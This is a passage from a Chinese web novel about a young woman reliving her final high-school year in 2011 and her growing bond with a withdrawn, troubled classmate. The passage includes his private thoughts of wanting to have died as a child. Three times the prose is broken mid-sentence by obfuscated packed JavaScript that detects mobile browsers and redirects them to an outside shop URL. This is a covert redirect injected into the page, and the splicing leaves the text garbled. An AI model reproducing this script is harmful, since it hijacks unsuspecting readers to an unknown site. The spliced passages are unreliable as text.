曲葵话还没说完,许一宴就拧着油门,电瓶车蹿出去,她因惯性向后一仰,慌乱间一把扯住许一宴校服,还不小心看到许一宴精瘦白皙的后腰,那曲线流畅度哇哦一看就是经常锻炼……曲葵眼睛不知道该放哪儿,被迫多看了几眼。 “说了,你自己不听。”许一宴气定神闲地威胁她,“校花,别扯我校服了,扯烂了你得赔给我一件新的。” “赔就赔。” “那你继续扯吧。” “?” 曲葵很好诠释了什么叫伤敌一千自损八百,她抓着后背靠椅,心里直嘀咕:“算了,不该和十七岁的小孩一般见识。” 七点的天空已经很晴朗,气温还没上升,微风不燥。树木在视野里倒退,满目翠绿生机勃勃。 看到飘落在许一宴肩膀随即被风吹飞的花瓣,曲葵发现马路两旁的缅桂花已经盛开了。在这之前,她从未注意过这些微小的事情。 一种失而复得的喜悦击中曲葵,她对前方的许一宴说:“好香啊,许一宴,你有没有闻到桂花香?” 许一宴快速朝两侧望了望,很不解风情地说:“这条街秋天就这样,都多少年了。” 曲葵:“……” 到学校时,有同班男生看见两人从一辆电瓶车上下来,还在楼道起哄。许一宴和曲葵的外貌在高三乃至整个扬明高中都是比较出众的,两人似乎又互相讨厌。毕竟高一到高二,他们从来不和对方说话。 不知道是怎么传的,后来竟然变成一见钟情了。因为这件事,两人还被王范叫到办公室里语重心长地谈话,希望别因为谈恋爱互相影响成绩,特别是别影响许一宴的成绩。 最后还是曲葵再三解释并再三肯定她和许一宴绝对没谈恋爱,班主任方才作罢。 出办公室的时候,许一宴冷着脸,心情似乎不怎么好。 月考结束,曲葵总算能准确无误叫出全班学生的名字。 成绩第三天下来,曲葵凭着语文和英语的拉分才勉强考了个全班倒数第二。 班会。 王范是有点演戏天赋的,手指颤抖拿着成绩单,捂着胸口痛心疾首地说:“这次月考,某个女同学因为偏科导致总分掉了433,并以一举之力成功拉低了咱们班的平均分和年级排名。也是不负众望地让我们班位居倒数第一了哈。” 教室里响起笑声。 王范一把将成绩单拍讲桌上,恨铁不成钢:“笑笑笑,就知道幸灾乐祸,掂量掂量自己为什么考不到年级前一百,还有那个倒数第一。”王范说:“算了……你也是稳定发挥了。” 王范虽然没点名道姓,但所有人都知道这个成绩一落千丈的人是曲葵,曲葵倒是很淡定,她都多少年没考试了,还记得英语就不错了。 晚上,曲葵睡不着,爬起来做题,他们高三生有做不完的试卷。不出十分钟,她望着试卷上的空白题一筹莫展。 曲葵吃了颗糖。 第二次十七岁,她用着好好学习当借口,实际一窍不通。明知道一两个月根本就找不回失去的时间,却总想拿这种所谓的努力安慰自己。 曲葵点开音乐APP。 她这段时间没有听歌,消息特别多,主页是屈指可数的作品。她已经两个月没更新音乐了,很多粉丝私信问她什么时候更新、下次打算翻唱什么歌、是不是出了什么事。 灵感对于创作者就像雨后山间流下的瀑布,而她内心的世界已经是一片荒芜之地。 曲葵清着红点,手机正上方有消息弹出,她正好点到,手机页面跳转,是班群的消息。 失恋的猫@全体成员 不是说上号吗?老子等半小时了,人去哪了?? 消息被撤回。 失恋的猫:靠,发错地方了。 很快有人在下面跟了几条还好老王不在这个群里,否则你完了。 如果不是这个@,曲葵还不知道自己在这个班级群里,好像从加进去的第一天就因为有人刷屏被她屏蔽了。 曲葵翻起群成员。 2011年用智能手机的高中生不是特别多,目前加群的人只有三十个。大部分一些是喜欢上网冲浪的学生,经常在群里约着上网吧组队开黑打LOL,要让王范知道他的宝贝学生们私下一点不复习,没准会被气吐血。 曲葵看到一个纯黑色头像,在整个群里显得格格不入。马甲备注是许一宴,出于好奇,曲葵点开了他的头像。 许一宴的主页很干净,昵称是一个字母Y,背景、个人信息什么都没填,干净得就像他本人,曲葵将他头像放大,发现是一张夜空照片,其中还掺着一个小白点,应该是月亮。 系统显示对方不是你的好友。曲葵心血来潮,点开聊天页面,发过去一条“睡了吗?”。 消息发送成功,曲葵杵着下巴等了几分钟,没有收到回复。 耳机的歌放完了两首,内心那股冲动劲被时间消磨殆尽后,曲葵开始后悔给许一宴发消息了。 她想:十一点半,应该是睡了。 也可能,单纯不想回复。 反正她在群里没有备注,许一宴也不知道发消息的人是谁,曲葵这么想着。 许一宴回复了她。 Y:【?】 Y:【有事吗?】 言语中似乎透露着一股淡淡的不耐烦姑且忽略不计,曲葵用手机拍下一道物理解答题发过去。 Serein:【图片。】 Serein:【有时间吗?能不能给我讲讲这道题?】 Serein:【我是曲葵。】 其实曲葵知道,问作业也是借口。 那一天,她在许一宴身上短暂地看到了与她内心深处的同一种孤独,她十分怀疑他们本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868242|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质上是同一类种人。加上梦境世界的短暂相处,他在她陷入未知世界迷茫恐惧时伸出援手。 就算不是喜欢,她对许一宴也有本能的好感,在内心孤独的时刻,总会想到许一宴。 也可能……是所谓的吊桥效应。 虽然说明原由也道出姓名,但曲葵并没有对许一宴的回复抱有期望,没想到一分钟后,许一宴给她发来了好友申请。 曲葵有些欣喜,点了同意。 许一宴发来一条消息:【这不是做过很多遍的题吗?】 曲葵:【有吗?我忘了?】 许一宴:【嗯,确实像偏科大神能说出来的话。】 曲葵:【流泪猫猫头(表情包)。】 猫咪表情包太可爱,和她有些不相符,像在撒娇。曲葵第一时间想撤回,但许一宴肯定看见了。 状态上面显示对方正在输入,许一宴那边沉默了一阵,才回复:【你那边能接语音吗,我打给你。】 曲葵:【好。】 许一宴发起语音请求。 情况好像有些失常发挥了,曲葵沉吟了一下,接通。在若干秒的电流音后,耳机里传来许一宴经过电子设备处理后更加低沉悦耳的声音,对一个声控来说简直是致命蛊惑。 “曲葵,听得到吗?” 曲葵清了清嗓:“可以。” 许一宴说:“这道题是万有引力,你还记得公式吗。” 曲葵诚实:“不记得。” 许一宴那边又沉默了一会儿,说了一串公式。 曲葵把公式写在试卷上。许一宴在电话里给她将答题思路和解题步骤,每完成一步就会问她懂不懂,比教别人时还要耐心几分,生怕她听不明白。曲葵也在心里努力回忆着那些被她遗忘的知识点,两人以这种方式做了几道题,曲葵已经有些困意,打了个哈欠。 许一宴说:“你要不去睡觉吧。” 曲葵不想这样挂断语音,她问:“你困了吗?” “我暂时不困。” “哦……” 哦完曲葵就找不到话题了,许一宴也没有提出挂断语音,两人就这样沉默任时间流逝。某一时刻,曲葵听到自己的心跳和许一宴近在咫尺的呼吸声 起、落;起、落;起,落。 气氛变得很怪。 静寂的夜晚,曲林声音不合时宜在门外响起,打破原有的平衡:“曲葵,还不睡吗?” 曲葵回神:“马上睡了。” 曲林的拖鞋声逐渐远去,世界重归安静,曲葵绞尽脑汁寻找着话题,许一宴忽然用标准的英语念出一个单词:“serein,有什么含义吗?” 这个词源于法语,在英文中是晴空雨的意思。完整词汇是le serein。曲葵小时候在林语邱朋友家中看到过一张背面印着杏花油画的贺卡,上面用漂亮的花体字写着这个单词,曲葵问了意思后,一直用serein来当网络昵称,她发布歌曲的账号名也是这个。 许一宴问起含义,难道他听过她唱的歌? 不可能吧,怎么可能有这么巧的事情。曲葵心里猜测,还是说:“据我所知,是‘日落,倾辉引暮色之时,天空下起了小雨’。” 许一宴:“能想象到那个画面,听起来很浪漫。” 曲葵轻轻笑了一下,看了眼时间,都快十二点了,她虽然失眠,但不应该拉着许一宴熬夜。 曲葵说:“我得睡了。” “晚安,”在曲葵挂断电话之际,许一宴又说了一句:“对了,谢谢你那晚送的糖,很甜。” “不用谢。”语音挂断,曲葵才后知后觉说道。 曲葵捂住心脏。 她吃的那颗糖早就融化,甜腻感在口腔中转为淡淡的酸味,连同着心脏也泛起了酸意。 曲葵隐约感觉出,以许一宴的聪明,肯定能猜到她找他聊天不是单纯为了问问题,只是曲葵不明白,为什么许一宴会默许她这种行为。 他本来可以拒绝的。 9.惊鸿 许一宴最近在准备全国数学联赛的一试,晚自习都去竞赛班。曲葵也不好意思每天晚上打扰他。 座位每周一轮换,现在曲葵坐在靠窗倒数第二排。晚自习时她经常透过窗户看落日西沉,天宇上的橘红渐渐转为深蓝。 徐梅问:“曲葵,可不可以帮我看一下英语单向选择题对了多少?” 曲葵侧目:“可以啊,把你试卷给我。” 七分钟后,曲葵把试卷还给徐梅,说:“好了,错的地方用红笔给你打了勾。” 徐梅重新把错题做了一遍,感慨:“我感觉你最近变了好多。” “有吗?” “看起来不那么难以接近了,”徐梅是那种性格软的女生,说话声也软糯绵长,“我之前感觉你好高冷,都不敢和你说话。” 曲葵知道她在套近乎,随口应和了一句,没有点透。对于许一宴,她何尝不是在套近乎? 翌日中午,曲葵出门时特地往书包里放了一把折叠伞。 曲林上班不在家,林语邱约了牌友去麻将馆,提着包出门碰巧见到这一幕,问:“外面这么大太阳,你带把伞去学校干吗?” “等会就下雨了。”曲葵又把书包里的折叠伞拿出来给她,“你带着这把伞,别被淋了。” “听你胡扯。”林语邱有些不耐烦。 “让你带你就带着,再不济还能遮太阳。”曲葵把伞塞林语邱包里,自己则拿了一把透明的长柄伞,“妈妈,我们一起走呗。” 林语邱挺意外地瞅了她一眼,没说什么。 两人相同的路其实只有短短一截,到胡同口就分开了,林语邱朝着和学校相反的路走去,曲葵望着她的背影逐渐消失在视野里。 这段时间,她把自己伪装得特别乖巧,处处克制自己的行为避免林语邱生气。有空时会和曲林一起呆在书房看书,讨论一些文学名著。 曲林问她最近怎么不弹吉他了。 曲葵说:“不如重新练练小提琴吧,妈妈不是最喜欢小提琴吗。” 曲林提议:“你可以拉一首《舒伯特-小夜曲》,她生日那天给她一个惊喜。” “可我上高中就没拉过小提琴了。” “爸爸相信你。” 他们就这样达成了一个秘密。不知道这些举动能不能让林语邱回心转意。 曲葵刚走进教室,站讲台上擦黑板的方成旭就吃惊道:“曲葵,你不会拿把透明伞来遮阳吧。” “这你就不懂了。”曲葵在各种眼神的注视下把雨伞手柄挂在书桌边缘,“你姐姐我昨日夜观天象,掐指一算,今天会下雨。” 男生们齐刷刷:“噫——不信。” 曲葵伸出食指点点他们:“敢不敢打赌,输了请我喝奶茶。” 有个男生说:“你要是想喝奶茶直接让方则旭给你买呗,他喜欢你喜欢得心里巴不得有个跑腿的机会呢。” “???”曲葵心里门清一直装不知道,这下防不胜防。 “你他妈瞎说些什么啊!!”原本只打算做个护花使者的方成旭被戳穿心思,脸瞬间红成苹果,羞愤间举着黑板擦就想朝那个男生头上砸。 正巧许一宴进教室,刚好目睹这场闹剧,黑白分明的双眼扫了一圈,方成旭手刷地就放下来,男生们也停止起哄,乖乖回位置坐好。 许一宴冷冷地说:“你要是擦完黑板可以去座位坐下,如果想当老师还需要努力。” “靠。知道了。”方成旭满手粉笔灰悻悻走下讲台,小声说,“谁愿意当老师啊,累得要死。” 第二节课课间,不知道哪飘来一大片乌云遮住太阳,世界肉眼可见暗下去一个度,地面飞沙走石,树叶簌簌落了一地,打旋飞舞。 有人幸灾乐祸:“扫外面的学生惨喽。” 上课铃刚响起,雨毫无预兆地倾盆而下,犹如海洋倒灌。教室里闷热得不行,窗户大开着,课本试卷刷刷翻页,学生乱作一团: “关窗关窗!湿了湿了全湿了呜呜呜!” “老师救命啊!我的卷子飞出去了!!” “喊爸爸也救不了你的试卷啦。” …… 曲葵提前关窗成功拯救了一堆课本,看着被因风斜飘进来的雨糊了一脸,鬼哭狼嚎的前后桌,分别扯了几张纸给他们,边提高声音说:“刚才说不信的那几个,放学一个别跑。” “曲葵,你怎么知道会下雨?”徐梅好奇问她。 “瞎蒙的呗。” 曲葵当然不会忘记这天。 2011年9月16日,是她喜欢上许一宴的那一天。 最后一节课,雨稍小了一点。放学时乌云已经散去,空中只飘着小雨,淋久了还是会打湿头发。出教室前,方成旭还问曲葵要喝什么饮料,曲葵摇摇头说算了。 雨点很快就在透明伞上聚了一层薄薄的水珠,随着步伐滚落在地。 透过伞面,湿漉漉的天空上出现两道彩虹,一明一暗横跨半个天空。那么罕见美丽,足以满足人类一切有关于美好与奇迹的遐想——这情景早在曲葵脑海如同午夜梦回地上演了无数遍。 唯一的区别,曲葵这次没有踩着滑板被老师追,而是和主动约她的徐梅打伞去校门外的小吃街。 徐梅想问曲葵吃什么,见她仰头在看什么,跟着看了一眼,随即惊喜地睁大眼睛:“曲葵,双彩虹啊!” 曲葵也看到了。 她的心脏在砰砰直跳,跟随记忆,视线缓缓向下,果然看见前方不远处沐浴在太阳雨中的干净修长的背影,刹那和相册里的那张照片对上了。 “许——”曲葵差点叫出许一宴的名字,熟悉的一幕上演,男声打断她,“许一宴,打篮球啊!!” 听到朱覃叫他,许一宴止步回头。 茫茫人海中,他一眼就见到曲葵。两道彩虹之下,她扎着高马尾看起来青春洋溢,手中举着一把透明伞,也站在人群中望着自己。 她顺势而上,他逆流而下,两人很快到达面对面的距离,不约而同停下来,隔着一层薄薄的透明塑料轻轻点头打招呼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872204|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ** 朱覃用胳膊肘碰碰许一宴,一脸八卦地问:“你刚和哪个班的妹子打招呼呢,看着快一米七了吧,那背影一绝啊。” 又来了又来了。每次朱覃在他面前看见漂亮女孩走不动道时,许一宴就备感头疼:“……你有病吧,天天看女生。” 朱覃这个人长得正儿八经,实际女朋友换得比翻书还快。从小就成绩差,也不是不聪明,就是不爱学,能考上高中也是当年被他按着头硬学的,别人问原因,他说自己和文化课八字不合。高二时被父母逼着当了体育生,每天各种高强度训练,一开始哭爹喊娘,现在倒是习惯了,各方面也收敛了很多。对于这个发小,许一宴也挺无奈,要不是他俩妈妈是闺蜜,他肯定不会和朱覃这种咋咋乎乎还爱臭美的人成为死党。 “上帝给了我一双明亮的眼睛,不就是让我来发现美的吗。”朱覃摆了个自诩很帅的pose,一看就是日漫看多导致的中二病。 许一宴懒得搭理他,抬腿就跑。 “干吗啊?等等我!”朱覃不明觉厉,也跟着跑起来。两人一前一后到食堂门口才停下,头发和肩膀都有些湿,裤脚上也沾了些泥点子。 他们通常吃完饭才去打篮球,朱覃觉得打篮球耍帅可以得到女孩关注,常常要拉他一起,说是能吸引更多目光。 排队时朱覃看许一宴一直不说话,又嬉皮笑脸和他勾肩搭背:“你不想告诉我是不是因为对她有意思,放心啦,虽然我知道自己很帅,但我是绝不会对自己兄弟的女人出手的。” “说得哪跟哪。”许一宴看他越说越不着调,把他手拍开。 边上几个高二校服的女生听到朱覃那段“自恋宣言”后望过来,捂着嘴小声地笑。 许一宴不喜欢出风头,也不喜欢别人用看热闹一样的眼神看他,只好小声解释:“是班上的同学,之前帮过我,见到打个招呼不是应该的?” 车祸的事情,他和朱覃提了一嘴,没说自己惊恐发作后遇到曲葵的事情。 朱覃长长地“哦”了一声,“你们班上好看的女生不就……”他停顿了一下,突然提高声音:“等下,你刚不会是在和曲葵打招呼吧,啊——我的女神……你实话实说,你俩什么时候这么熟了??” “不能?” “也不是,只是我们班那些人说她又拽又傲,每天放学脖子上跨个耳机,踩着滑板,天天冷着一张脸从来不搭理人——当然眼见为实耳听为虚我是不相信的。” “没有吧。” 许一宴回忆与曲葵相处的几段时光,总是被女孩浅而温暖的笑容晃了神,不过他有种感觉,曲葵并不是真心实意在笑。 他只窥见过一次——她藏在笑容中的忧郁神情和泛红眼尾。 两人端着碗在靠边空位坐下,吃着吃着,朱覃叹气,来了个三连问:“那你觉得她好追吗?应该有很多人追她吧?你说她有没有男朋友啊?” “放弃吧。”许一宴看朱覃那样子,知道他又开始犯贱,很不给面子,“你消受不起。” 10.示弱 中秋节当天,学校给每个高三生都准备了一个月饼。 曲葵吃完晚饭,离上晚自习还有一个小时,林语邱在特定时间出门打麻将,她决定练一会儿小提琴。 林语邱的音乐房里摆着很多奖杯。 林语邱以前生活在大城市里,因手伤无法再弹奏乐曲,婚后和曲林回到扬明,林语邱把所有奖杯和乐器都放一个房间里。也许是怀念自己曾经在舞台上的样子,林语邱十多年没有演奏,扔保持每周擦拭一遍的习惯。她开始曲葵能在古典音乐方面获得一番成就,以安慰自己的失意。 结果曲葵初二那年路过唱片店,听到里面播放着艾薇儿的歌,喜欢上摇滚乐。 林语邱把琴谱分类放在一个大木箱里,贴上标签便以区分,曲葵很快就找到小提琴琴谱,翻到《舒伯特-小夜曲》那页,放在支架上。 她给小提琴装上肩托,站立持琴,始终找不到状态。 曲葵深知那些东西刻在脑子里根深蒂固,可当她按住琴弦,握住弓,将它置于弦上,拉响第一个听起来尖锐刺耳的音符时,她立刻感到压抑和一种迷茫的恐慌。 迫使她停下来调节情绪。 她好像患上了某种心理性问题,只要面对音乐,总会想起那些现在还没发生的过去的记忆,手控制不住地痉挛。 步入社会后,她学会戴着虚伪面具保护自己,久而久之,那张面具焊在脸上,再也摘不下来。 她找不回曾经的自己,但不想就这样屈服于过去。 时间到了,该去上晚自习了。 课桌上堆着的试卷看着快要把人淹没,高压之下,周围始终萦绕着充满低气压和抱怨声。 “唉,我们苦逼的高三生。”总是在班上打闹的方成旭眼里都没光了。 月饼已经发下来,放在课桌上,曲葵拿起一看,正面印着“联考加油”,背面印着“高考加油”。 曲葵:“……” 看得出来,校长在升学率方面操碎了心。 她随手把月饼给了后桌。 这年国庆和中秋挨在一起,所以学校又多放了一天假期。然而高三下个月有一场联考,学校为了及格率,他们一天假期都没有。 寒潮来袭,扬明降温,雨下了一整天。两节晚自习在雨声、翻书声与写字沙沙声中过去,曲葵举着透明伞朝校门走。 人很少,带着泥土味的冷空气迎面而来,曲葵停下来拉校服外套。 “曲葵。”有人叫住她,如同从漆黑夜空中落下的雨丝,冷冷清清。 曲葵朝声音瞥去。 是许一宴,真的好巧。 是曲葵没见过的打扮——戴着半框眼镜,镜片挡住深邃明亮的眼睛,斯文又矜贵。 曲葵朝两侧望了望,原来她已经走到了实验楼下面的小道上,现在数学竞赛而临时组建的小组也放学了,各班尖子生陆续下楼。 从许一宴身旁经过的学生打着伞走了几个,他还站在原地,隔着被夜色染黑的雨望向曲葵,被雾水氤氲的镜片,像只可怜的猫咪。 曲葵微微扬伞,许一宴心领神会。抬头看了眼淅淅沥沥的雨,语气很无辜:“我的雨伞丢了。” 猫咪的特性之一:装可怜。 曲葵没养过宠物,不吃这套。 许一宴看她丝毫没有想要走动的念头,沉默抿了抿嘴,抬脚要走进雨里。 曲葵心软,扬起下巴对他说:“你站着,我过去。” 许一宴听话停住。 曲葵:“……” 她这该死的同情心。 两人距离只隔几米,曲葵走过去,许一宴立刻弯腰钻进她的伞下,清冽气息入侵曲葵领地,曲葵忍不住朝后退一步,不由感慨夜晚温度降得毫无预兆。 许一宴头发被水珠打湿,形成小小的旋。他主动抽走曲葵手中的伞,抬高,伞面蓄积的雨水随着动作朝一侧哗啦啦落下,在地面溅起深浅不一的水洼。 “谢了。”许一宴语气依旧听不出情绪,他的想法也让曲葵无法预测。 但他的行为,又像在对她示弱。 ……可能? 伞下空间拥挤,行走时两人肩膀和手臂难免碰到,在别人眼中外,和行走在这校园中的情侣别无区别。 几个男生认出许一宴,追上来扒着伞问,“许学神,什么时候谈女朋友了?!”看到是曲葵后,戏谑道:“哟哟哟你两~有奸情。” 许一宴无语:“快滚吧你们。” 男生们笑着跑远了,在曲葵眼中,活像几只快乐的猴。 静了一会,许一宴轻咳一声,说:“那几个和我朋友一个班,经常约着打篮球和电子游戏,都不正经,你别听他们乱说。” 曲葵“哦”一声,望向许一宴,男生看着地面,似乎在怕泥点落在鞋面上,也许是注意到有人在看自己,他悠然望过来,“怎么了?” 曲葵问:“你今天骑车来的吗?” “嗯。”许一宴说。 “车里放雨衣了吗?” “没有,我讨厌雨衣。”许一宴扯了下嘴角,干笑,“是不是很奇怪?” 曲葵摇摇头:“每个人讨厌的东西不同,就像有人讨厌香菜,有人讨厌胡萝卜,这并不奇怪。” 许一宴睫毛微颤,没有接话。 曲葵继续问:“如果你没看见我,打算怎么回去?” “淋雨。” “那会感冒。” “无所谓。”许一宴毫不在意。 曲葵语塞,不知道该说他什么好:“可你要是生病了,爸爸妈妈会心疼的。” “他们根本就不会。”许一宴立刻反驳。 曲葵稍愣,她没想到许一宴会有这么大反应,也是,她根本就不知道许一宴的家庭情况。 曲葵静了静,缓声问:“许一宴,我说错话了吗?” 许一宴喉结滚动,声音变得更低:“没有。”他看着湿漉漉的地面。“对不起,是我说错了话,我想说的是,我看到你之后就不想要淋雨了。” 雨在伞上唱着交响曲,路灯发出虚白的光,昏暗,并不能照亮太多范围。靠近停车场的那一段路估计是灯坏了,漆黑一片。有不少学生打开手机的电筒照路,低低的咒骂声逐渐远去。曲葵想拿手机照路,身上和书包里都没有,难道被她忘在了家中? 摸黑不太安全,曲葵说:“许一宴,你带手机了吗?” “……” “许一宴?” 两人站在黑暗的边际处,身后是光明,身前是黑暗。 黑暗,无边无际的黑暗。 快要将许一宴吞进去。 踏出的步伐,都落在没有实感的地面上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879968|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许一宴开始感受到大脑中那股由衷的恐慌,耳边隐没在雨中的声音越来越大,黑暗中女人恸哭里夹杂时起时落的犬吠。 那些永不消逝的记忆和声音,组合成恐怖的鬼怪,从黑暗之中拔地而起,张着血盆大口,再次想要击溃他心中努力建造起来的防御塔,然而在千钧一发之迹—— “许一宴!”曲葵猛地拽了他一下,许一宴被拉得踉跄低头,顷刻间所有声音都消失了,只有雨的底噪声连绵不绝。 许一宴瞳孔收缩,从谵妄中清醒。 周围环境依然是学校,雨伞朝曲葵那侧倾斜,忽大忽小的雨打湿了许一宴的肩膀,曲葵抬着头看他,漆黑的瞳孔中带着几分疑惑,几分不安。 许一宴短促呼出一口气,扶了扶下滑的眼镜,故作镇定:“……怎么了?” 幸好他的灵魂及时回到身体里,否则又要让曲葵看到他藏在伪装下难堪的另一面。 他不想让曲葵看见。 “你……”曲葵迟疑片刻,仿佛察觉到了什么,许一宴以为她会问自己问题,但曲葵什么都没说,只是伸出五指修长的手。 许一宴眨了眨眼,神情有些迷茫地看她。 “手机。”曲葵说。 “哦。”许一宴的思绪在此刻变得很迟钝,没有反应过来曲葵要用手机做什么,依然将手机给她。 曲葵松开他,去拿手机。 许一宴的手机和她牌子相同,但设置了密码,曲葵把手机抬到许一宴面前,示意他解锁。许一宴大脑迟钝地愣了会,把密码划开,曲葵轻车熟路打开手电筒功能,光明驱散脚下黑暗。 “没事的。”曲葵朝许一宴露出安抚笑容,轻声说道,“走吧。” 许一宴低垂着眼,有些眷恋曲葵方才残留在他指尖的温度,在空气中转瞬就变凉。 他弯曲手指,朝前一抓。 可是什么都没抓住。 电瓶车行驶在雨中,冷风拂面,曲葵坐在许一宴身后,紧紧抓着伞柄,还是觉得快要脱手而出。 为了打伞,她的胳膊搭在许一宴肩背上,薄薄的校服外套下,少年温暖的体温从触碰处源源传来,宽阔的肩背为她挡住大部分风雨。 这是她第一次在别人那里感受到温暖。 “如果特别冷,你可以抱着我。”许一宴话语破碎在呼啸风声里。 快到达胡同口的时候,曲葵开始担心父母会不会吵架,老实说,她并不想许一宴知道自己埋藏起来的灰暗一面。 幸好,空气中除了雨声再没有其他声音。 曲葵说:“已经到了,许一宴,你在路边停吧。” 许一宴拧刹车,电瓶车在潮湿地面滑出段距离,才缓缓停下来。 “我送你到门口。” “不用。”曲葵抬脚下车,把伞塞他手里,“伞给你,不用还我。我走了,注意安全。” “曲葵,等……” 许一宴还没来得及说话,曲葵就把手举过额头,转身小跑进雨中。 镜片上起了薄薄一层雾,模糊女孩离去的背影,许一宴摘下眼镜,曲葵背影消失在胡同转角。 被打湿的路灯孤零零站在胡同口,黑色雨水顺着灯罩边缘落下,被光照得晶莹剔透,重重掉落在雨水绵延的地上,消失不见。 他垂眸,思绪纷飞。 11.本性 许一宴回到家,衣服几乎湿透,校服衬衫黏在体表。 动作粗暴将车停在雨棚下,小心翼翼拿着曲葵的伞,淋雨穿过种着各种花卉的小花园。许明念这两天出国谈生意,后妈见他不爽,从来不待在客厅,眼过之处皆是夜色浓浓。 开灯,黑白灰装修风格,鬼气森森。 他立即感到不舒服。 手背的痂早就掉了,但还是会在下雨时发痒。 许一宴知道这是心理作用,他已经习惯身体各处间歇性不适,拉起衣摆擦掉脸上的雨水,将伞放进雨具收纳桶。 浴室里有股卸妆油味道,原来是瓶子翻倒流了一地;洗漱台上,女人的化妆品摆放得到处都是,在向他宣告主人权利。 许一宴把所有东西丢进垃圾桶,反锁浴室门。 匆匆洗好澡,许一宴穿得严严实实才出去。 客厅,一个穿睡衣的卷发女人背对他,站在饮水机前接水。 她和许明念结婚刚满一年,从来没给过许一宴好脸色,叫什么许一宴没记,他爸换人速度向来很快。 许一宴视而不见,伸手关灯,转身回房。 客厅乍然陷入黑暗,王婷婷吓得尖叫,杯中咖啡洒了一地,弄脏拖鞋。 她重新打开灯,看见是许一宴后立马怒了,拔高的声音又尖又细:“许一宴!客厅里他妈有人!!” 许一宴停住,旋即换上那副纯良无辜面孔,像被长辈训斥事低头不敢回嘴的小孩子。 但许一宴敢回嘴:“对不起阿姨,你太矮了,我才看见你。” 王婷婷不过二十八,觉得许一宴把她叫老了十多岁,愤懑道:“你叫谁阿姨呢?!” 许一宴平静解释:“按照辈分关系,我是该叫你阿姨啊,难道你想要我喊你后妈?” 比起后妈这个称呼,阿姨明显更好听点,王婷婷翻了个白眼,教育许一宴:“那你也不应该直接关灯,这样很没教养,家里又不是只有你一个人住。” 教养?那是给有教养的人。 “下次不会了。”许一宴心平气和地说,“我以为你和我爸出国了呢。这么看来,你们的感情还是不够深。哦,也对,毕竟认识一个月就结婚了,根本没时间培养。” 他这冷嘲热讽的话把王婷婷气炸:“伶牙俐齿的小畜生!你少说一句话会死是吗?!” 王婷婷刚嫁进来的时候,以为许一宴只是个书呆子,他向来逆来受顺,从不敢忤逆许明念。让他端茶倒水,他就端茶倒水。 直到一次晚宴,王婷婷发现他站在二楼朝下望,眼里全是厌恶,仿佛在干净的地面见到一只蟑螂。她当即被吓了一跳,后知后觉许一宴的纯良听话从来都是故意装给别人看的,只要周围没人,他就原形毕露了。 她多次向许明念抱怨,但对方认为许一宴是个只会读书的乖小孩,还责备她应该有点当妈的担当。 许一宴装得实在太好了,从不在他爸和其他人面前暴露本性,哪怕他表面上是棵长得再葱郁的树,内里的根早就烂透了。 许一宴嗤笑:“那你就不该惹我。不过,没眼力见的人就是这样,明知对方讨厌她,还非得凑上来找骂,你说是不是?阿姨。” 他张口一个阿姨闭口一个阿姨,王婷婷语塞,半晌说出一句:“懒得和你扯。” 她走进卫生间洗手,许一宴拿伞上楼,扭动卧室门把时,身后传来哒哒哒的脚步声。 “小兔崽子,你怎么把我化妆品全扔了!” “对不起阿姨,我看都是些廉价化妆品,还以为你用不上呢,就帮你扔了。”许一宴还是无辜模样,“你应该用好点的,毕竟我爸喜欢更新更好看的花瓶。” 没有许明念撑腰,王婷婷拿他没办法,加上许一宴有身高优势说话还像条疯狗,她不敢动手打他,只好逞口舌之快:“和你妈一样,都是精神病。” “嗯嗯,”许一宴不为所动,谈吐温吞,甚至还带着点笑容,“未成年精神病患者的攻击性更强,你以后小心点。” 他顿了一下,提醒她:“你别想装作不知道,我爸娶你,是因为你身上有我妈的影子,下次装得再像点,别连自己都骗不过。” 王婷婷第一次知道什么叫做使出浑身解数尚未击穿敌方护甲,她咬碎一口银牙,口中尽是粗鄙的言语。 越来越远,然后是重重的关门声。 许一宴今晚没心情写题,床上躺尸,窗帘拉严的房间,黑暗裹挟着砭肤冷气。 这令人厌烦的世界,把人性恶意显现得淋漓尽致,也包括同样令人厌恶的自己。 他又开始思考那个永远都想不通的话题:活着到底是了为什么? 好累。 他现在算活着吗。 他的灵魂健全吗。 还不如在七岁那天就和张晴之一起死去一了百了,清清净净。 他恨张晴之在最后发了善心,留他一命。 特别关注的声音响起,曲葵发来一条消息:【到家了吗,没淋湿吧?】 许一宴闭眼,平复杂乱心绪:【到了,没有淋湿。】 他沉吟片刻,接着打字:【你淋了雨,最好洗个热水澡,吃药预防感冒。】 消息发过去后,许一宴瞪眼看着黑呼呼的天花板。 眼睛胀痛,毫无睡意。 他点开音乐APP,很快烟嗓女声缓缓流淌在寂静空间中,翻唱很火的欧美流行音乐《Bad Romance》。 